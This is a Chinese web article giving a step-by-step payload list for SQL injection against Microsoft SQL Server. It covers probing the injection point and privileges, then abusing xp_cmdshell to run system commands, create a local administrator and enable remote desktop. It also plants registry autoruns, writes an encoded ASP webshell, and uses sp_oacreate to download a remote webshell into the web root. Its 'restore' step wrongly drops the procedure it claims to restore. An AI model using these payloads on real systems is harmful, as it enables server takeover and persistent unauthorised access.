当前位置:首页 >> 网络通讯 >> 网络安全 >> 内容

MsSQL高级注入命令提权

时间:2013/4/19 12:10:00 作者:平凡之路 来源:xuhantao.com 浏览:

一、基本信息搜集 

 

1.注入点类型的判断 

and exists (select * from sysobjects)涛涛电脑知识

 涛涛电脑知识网

2.注入点权限判断 

and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员 

and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限 

and 1=(select is_srvrolemember('public'))   //判断是否为public权限

 

3.其他信息获取 

;declare @d int //判断MsSQL支持多行语句查询 

and (select count(1) from [sysobjects])>=0 //是否支持子查询 

and user>0  //获取当前数据库用户名 

and db_name>0  //获取当前数据库名称 

and 1=convert(int,db_name())或1=(select db_name())  //当前数据库名 

and 1=(select @@servername)  //本地服务名 

and 1=(select HAS_DBACCESS('master'))  //判断是否有库读取权限

 

二、利用MsSQL扩展存储注入攻击 

1.检测与恢复扩展存储 

判断xp_cmdshell扩展存储是否存在 

and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' AND name= 'xp_cmdshell')

 

判断xp_regread扩展存储过程是否存在 

and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread')

 

恢复 

;exec sp_dropextendedproc 'xp_cmdshell' 

;exec sp_dropextendedproc xp_cmdshell,'xplog70.dll'

 

三、sa权限下扩展存储攻击利用方法 

1.利用xp_cmdshell扩展执行任意命令 

查看C盘 

;drop table black;create TABLE black(mulu varchar(7996) NULL,ID int NOT NULL IDENTITY(1,1))-- 

;insert into black exec master..xp_cmdshell 'dir c:\' 

and 1=(select top 1 mulu from black where id=1)

 

新建用户 

;exec master..xp_cmdshell 'net user test test /add' 

;exec master..xp_cmdshell 'net localgroup administrators test /add'

 

打开3389 

;exec master..xp_cmdshell 'sc config termservice start=auto' 

;exec master..xp_cmdshell 'net start termservice' 

;exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v

 

fDenyTSConnections /t REG_DWORD /d 0x0 /f'  //允许外部连接 

;exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal

 

Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x50 /f'    //改端口到80,个人感觉没什么用,要么放到最前面执行

 

2.xp_regwrite操作注册表 

;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','black','REG_SZ','net

 

user test test /add'

 

开启沙盒模式 

;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

 

然后利用jet.oledb执行如下 

;select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("net

 

user test test /add")')

 

注意,如果注入点的参数是integer数字型,就可指定"ias.mdb"数据库;如果是string字符型,则可指定dnary.mdb。如果是windows 2000系

 

统,数据库的路径应该指定为"x:\winnt\system32\ias\ias.mdb"。

 

3.利用sp_makewebtask写入一句话木马

 

;exec sp_makewebtask 'e:\www_iis\yjh.asp','select''%3C%25%65%76%61%6C%20%72%65%71%75%65%73%74%28%22%63%68%6F%70%70%65%

 

72%22%29%25%3E'''--

 

4.利用sp_oacreate存储远程下载文件(啊D的一个漏洞利用工具就是这个原理)

 

;DECLARE @B varbinary(8000),@hr int,@http INT,@down INT 

EXEC sp_oacreate [Microsoft.XMLHTTP],@http output  

EXEC @hr = sp_oamethod @http,[Open],null,[GET],[],0 

EXEC @hr = sp_oamethod @http,[Send],null 

EXEC @hr=sp_OAGetProperty @http,[responseBody],@B output 

EXEC @hr=sp_oacreate [ADODB.Stream],@down output 

EXEC @hr=sp_OASetProperty @down,[Type],1 EXEC @hr=sp_OASetProperty @down,[mode],3 

EXEC @hr=sp_oamethod @down,[Open],null EXEC @hr=sp_oamethod @down,[Write],null,@B 

EXEC @hr=sp_oamethod @down,[SaveToFile],null,[e:\www_iis\muma.asp],1

 

即可下载文件:的内容到e:\www_iis\muma.asp成功写入一个webshell.

 

5.sp_addlogin扩展管理数据库用户 

;exec master.dbo.sp_addlogin test,password 

exec master.dbo.sp_addlogin test,sysadmin

 

6.xp_servicecontrol管理服务(自测不太管用) 

要停掉或激活某个服务,可利用 

;exec master..xp_servicecontrol 'stop','schedule'   //停止计划任务服务 

;exec master..xp_servicecontrol 'start','schedule' 

;exec master..xp_servicecontrol 'start','server'    //启动server服务

相关文章
  • 没有相关文章
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络,如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号:蒙ICP备15000590号-1